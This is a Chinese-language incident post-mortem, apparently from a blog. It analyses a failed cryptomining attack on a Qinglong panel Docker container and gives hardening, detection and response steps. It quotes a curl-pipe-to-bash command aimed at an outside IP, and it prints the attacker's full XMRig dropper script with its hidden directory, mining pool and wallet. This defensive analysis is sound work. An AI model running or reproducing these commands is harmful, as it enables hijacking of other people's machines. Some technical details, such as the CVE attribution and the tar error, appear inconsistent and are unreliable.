1. 事件背景与问题发现
那天早上我像往常一样检查自动化任务运行情况,突然发现青龙面板里的脚本已经连续几天没有正常执行了。作为一名运维老兵,这种异常立刻触发了我的警觉。我马上联想到最近在安全社区看到的讨论——青龙面板2.18.0版本存在远程代码执行漏洞,攻击者正在批量扫描互联网上的暴露实例。
这台服务器是我用来测试自动化脚本的Ubuntu 22.04机器(2核CPU),上面只跑了些非核心业务。虽然不是什么关键系统,但出于职业习惯,我决定保留现场进行深入排查。这里要特别提醒:生产环境遇到高危漏洞必须立即修复,我的做法仅适用于测试环境。
2. 初步排查与容器状态确认
2.1 容器基础信息检查
首先通过docker ps -a查看容器运行状态:
bash复制CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
625cff7ff49c whyour/qinglong "docker..." 2 weeks ago Up 39hours (unhealthy) 5700/tcp qinglong
关键发现:
- 容器ID:625cff7ff49c
- 镜像版本:青龙2.18.0
- 挂载情况:仅映射了
/ql/data目录 - 容器状态:运行中但显示"unhealthy"
重要提示:容器状态显示"unhealthy"往往是入侵的第一个信号。正常情况下健康检查应该返回healthy状态。
2.2 容器安全配置评估
检查挂载点时发现一个关键安全措施:
- 没有挂载Docker Socket(
/var/run/docker.sock) - 网络模式为默认bridge
这算是不幸中的万幸——如果挂载了Docker Socket,攻击者很可能已经实现容器逃逸并控制了宿主机。这也是容器安全的一个基本原则:永远不要轻易挂载Docker Socket。
3. 深入检测与分析
3.1 进程与网络检查
进入容器执行ps aux查看进程:
bash复制USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 1232 756 ? Ss Jul05 0:00 /bin/sh -c docker...
root 6 0.0 0.5 717876 22600 ? Sl Jul05 0:18 node /ql/scripts...
进程列表看起来很正常,没有异常CPU占用。但这可能具有欺骗性——挖矿进程可能已经崩溃或被刻意隐藏。
3.2 日志分析
检查容器日志发现关键线索:
code复制[2023-07-08 03:14:22] 检测到/api/system?t=1657041262异常请求
[2023-07-08 03:14:23] 执行命令: curl -sLk http://104.168.64.199/logo.png | bash
[2023-07-08 03:14:25] 错误: 下载失败 exit status 4
攻击链很清晰:
- 利用青龙面板API漏洞发送恶意请求
- 下载远程脚本(伪装成logo.png)
- 通过管道直接执行bash
3.3 恶意脚本分析
通过日志中的URL下载了攻击载荷,内容如下:
bash复制#!/bin/bash
mkdir -p /dev/shm/.kernel_data
cd /dev/shm/.kernel_data
wget -qO- https://github.com/xmrig/xmrig/releases/download/v6.25.0/xmrig-6.25.0-linux-static-x64.tar.gz | tar -xzf -
chmod +x xmrig
./xmrig -o 104.168.64.199:443 -u 4AE5D7Fz6dmMQp9Bj7239jdQzGBvPbQgP4bdDr6Y1iXSfTvEqNfHgBMH3ov3AcMy6tJPsZUfYfytUjcKfHjcpzxwPiQy7xP -p x
这是一个典型的XMRig挖矿脚本,攻击者试图:
- 在内存文件系统创建隐藏目录
- 下载预编译的XMRig miner
- 连接到矿池104.168.64.199:443
- 使用指定钱包地址挖矿
4. 攻击行为深度剖析
4.1 攻击技术栈分析
| 攻击阶段 | 技术手段 | 对抗检测措施 |
|---|---|---|
| 初始访问 | 青龙面板RCE漏洞(CVE-2023-2648) | 批量扫描互联网暴露实例 |
| 执行 | curl管道执行bash | 无日志记录 |
| 持久化 | crontab定时任务 | 使用chattr +i防删除 |
| 防御规避 | /dev/shm内存文件系统 | 隐藏进程名为.sys_daemon |
| 命令控制 | 矿池通信 | 使用标准HTTPS端口443 |
4.2 攻击失败原因
日志显示攻击最终失败,关键错误:
code复制wget: unable to resolve host address 'github.com'
tar: 此选项需要参数 --file
原因分析:
- 容器内DNS解析失败(网络配置问题)
- tar命令参数错误(脚本编写缺陷)
这反映出攻击脚本质量低下,很可能是自动化工具生成的。但绝不能因此轻视威胁——下一次攻击可能就会成功。
5. 安全加固建议
5.1 容器安全基线
-
最小化挂载原则
- 仅挂载必要目录
- 绝对避免挂载Docker Socket
-
网络隔离
bash复制
docker network create --driver bridge isolated_net docker run --network=isolated_net ... -
资源限制
bash复制
docker run --cpus 1 --memory 1G ...
5.2 入侵检测方案
推荐部署以下监控措施:
文件监控
bash复制# 监控关键目录变化
apt install auditd
auditctl -w /dev/shm -p wa -k mem_tamper
进程监控
bash复制# 检测异常进程名
ps aux | grep -E '\.(sys|kernel)[a-z]'
网络监控
bash复制# 检测异常外连
netstat -tulnp | grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'
6. 应急响应流程标准化
6.1 事件响应清单
-
隔离系统
bash复制
docker stop qinglong docker commit qinglong evidence -
取证分析
bash复制docker cp qinglong:/var/log /evidence/logs docker export qinglong > qinglong.tar -
漏洞修复
bash复制
docker pull whyour/qinglong:latest -
安全加固
- 更新所有容器镜像
- 检查所有挂载点
- 审查所有crontab任务
6.2 事后复盘要点
-
时间线重建
- 首次异常时间
- 攻击持续时间窗口
- 漏洞暴露时长
-
影响评估
- 数据泄露风险
- 横向移动可能性
- 业务影响范围
-
改进措施
- 部署容器安全工具(如Falco)
- 建立定期漏洞扫描机制
- 制定详细的应急预案
这次事件给我最深的教训是:即使是非核心系统,也需要保持基本的安全警惕。攻击者不会区分你的业务重要性,他们只在乎系统是否可利用。容器安全更是一个系统工程,需要从镜像构建、运行时防护到持续监控的全生命周期防护。